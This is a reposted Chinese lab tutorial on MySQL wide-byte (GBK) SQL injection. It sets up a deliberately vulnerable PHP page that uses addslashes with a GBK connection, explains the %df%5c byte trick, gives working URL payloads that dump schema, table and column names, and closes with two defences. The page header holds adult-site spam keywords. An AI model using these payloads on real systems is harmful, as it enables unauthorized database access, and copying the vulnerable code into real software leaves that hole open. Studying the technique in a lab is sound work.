日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

mysql sql宽字节注入_sql注入之宽字节注入

發布時間:2024/1/23 数据库 30 豆豆
生活随笔 收集整理的這篇文章主要介紹了 mysql sql宽字节注入_sql注入之宽字节注入 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

寬字節注入是因為數據庫使用了GBK編碼,不過現在大都使用unicode國際編碼,大多數網站都使用了utf-8的編碼

不過既然是sql注入的一部分,也搭建環境? 做做實驗

實驗環境:

wamp集成包

實驗說明:

創建使用GBK編碼的數據庫

實驗步驟:

使用phpmyadmin進行創建數據庫的時候,如果不去選擇編碼格式,默認會使用latin1_swedish_ci 格式

查了一下 ,和GBK類似,那就這個吧。。。

使用默認編碼,創建數據庫后繼續創建表格

latin1_swedish_ci

這里需要注意的是,使用latin1_swedish_ci 格式進行創建表,插入數據時

當插入漢字的時候,提示編碼問題

難怪現在的大多網站都使用utf-8編碼

格式問題

修改字段的編碼格式?? 可插入漢字

繼續編寫php漏洞代碼<?php

header("Content-type:text/html;charset=utf-8");

$id=@$_GET['id'];

if(isset($id)&&!empty($id)){

$id = addslashes($_GET['id']);//進行轉義

$conn=mysql_connect('localhost','root','')? or? die? ("false");

mysql_select_db("tests",$conn);

mysql_query("set names 'gbk' ",$conn);//指明數據庫gbk處理,不安全的編碼格式

$sql = "select * from test where id='".$id."'";

$result = mysql_query($sql, $conn);

while ($row=@mysql_fetch_array($result)){

echo "用戶名:".$row['name']."


";

//echo "密碼:".$row['password']."";

}

mysql_close($conn);

print_r('執行SQL語句:'.$sql);

}else{

echo? "id? 錯誤";

}

?>

進行訪問 ? 注入 ? 測試

addslashes的轉義

發現已經被轉義了,使用%df? ' 進行注入

繼續注入?? %df%27 union select? 1,2,3?? #

注意URL編碼問題

注入成功

以下為URL編碼:

%27---------單引號

%20----------空格

%23-----------#號

%5c------------/反斜杠

為什么可以注入成功?

修改一下?? header? 改為gbkheader("Content-type:text/html;charset=gbk");

再次查看

反斜杠神奇消失

為什么反斜杠變成? 運? 這個玩意啦?

id=1'---------->id=1\'--------->id=1%5c%27

id=1%df'---------id=1%df%5c%27---------->id=1%DF5C%27-------->id=1運'

其實就是利用gbk是多字節的編碼,兩個字節代表一個漢字

%df??? %5c?? 組合出了一個? 運 字

因此? 可以注入

success

擴展:

爆出所有的數據庫名

payload:

id=%df%27%20union%20select%201,schema_name,3%20from%20information_schema.schemata%20limit%206,5%20%23

數據庫名

爆出數據庫中的數據表

payload:

id=%df%27%20union%20select%201,table_name,3%20from%20information_schema.tables%20where%20table_schema=0x64767761%20limit%200,61%20%23

dvwa的十六進制編碼為0x64767761

所有數據表

爆出指定數據庫的字段

payload:

id=%df%27%20union%20select%201,column_name,3%20from%20information_schema.columns%20where%20table_schema=0x64767761%20and%20table_name=0x61646D696E%20limit%200,61%20%23

爆出字段

注意使用十六進制

table_schema=0x64767761(dvwa)? and? table_name=0x61646D696E(admin)

根據以上信息,可進行mysql的跨庫查詢,查詢任意數據庫的任意信息

可查詢信息

防御:

1.使用mysql_set_charset(utf8)指定字符集

2. 使用mysql_real_escape_string進行轉義

總結

以上是生活随笔為你收集整理的mysql sql宽字节注入_sql注入之宽字节注入的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。